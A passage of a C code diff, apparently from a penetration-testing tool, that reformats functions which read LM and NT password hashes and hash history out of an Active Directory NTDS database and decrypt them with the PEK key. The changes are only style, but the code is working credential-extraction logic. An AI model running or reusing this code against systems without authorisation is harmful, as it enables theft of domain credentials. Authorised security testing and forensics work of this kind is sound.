decrypt_hash_history(encLMHist, columnSize, pekDecrypted, userAccount->accountRID, userAccount->lmHistory, &userAccount->numLMHistory); free(encLMHist); } - else{ + else { return readStatus; } } - else{ + else { return readStatus; } return JET_errSuccess; @@ -384,21 +399,23 @@ JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *a * @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data * @returns Indication of sucess or failure. */ -JET_ERR read_user_lm_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){ +JET_ERR read_user_lm_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns, + struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount) +{ JET_ERR readStatus = JET_errSuccess; unsigned long columnSize = 0; struct encryptedHash *encryptedLM = calloc(1, sizeof(struct encryptedHash)); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHash.columnid, encryptedLM, sizeof(struct encryptedHash), &columnSize, 0, NULL); - if (readStatus != JET_errSuccess){ - if (readStatus == JET_wrnColumnNull){ + if (readStatus != JET_errSuccess) { + if (readStatus == JET_wrnColumnNull) { memcpy(userAccount->lmHash, BLANK_LM_HASH, 32); } - else{ + else { free(encryptedLM); return readStatus; } } - else{ + else { decrypt_hash(encryptedLM, pekDecrypted, userAccount->lmHash, userAccount->accountRID); } free(encryptedLM); @@ -413,23 +430,27 @@ JET_ERR read_user_lm_hash(struct jetState *ntdsState, struct ntdsColumns *accoun * @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data * @returns Indication of sucess or failure. */ -JET_ERR read_user_nt_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){ +JET_ERR read_user_nt_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns, + struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount) +{ JET_ERR readStatus = JET_errSuccess; unsigned long columnSize = 0; struct encryptedHash *encryptedNT = calloc(1, sizeof(struct encryptedHash)); - readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHash.columnid, encryptedNT, sizeof(struct encryptedHash), &columnSize, 0, NULL); - if (readStatus != JET_errSuccess){ - if (readStatus == JET_wrnColumnNull){ + readStatus = JetRetrieveColumn(ntdsState->jetSession, + ntdsState->jetTable, accountColumns->ntHash.columnid, encryptedNT, + sizeof(struct encryptedHash), &columnSize, 0, NULL); + if (readStatus != JET_errSuccess) { + if (readStatus == JET_wrnColumnNull) { memcpy(userAccount->ntHash, BLANK_NT_HASH, 32); } - else{ + else { free(encryptedNT); return readStatus; } } - else{ + else { decrypt_hash(encryptedNT, pekDecrypted, userAccount->ntHash, userAccount->accountRID); } free(encryptedNT); return JET_errSuccess; -} \ No newline at end of file +}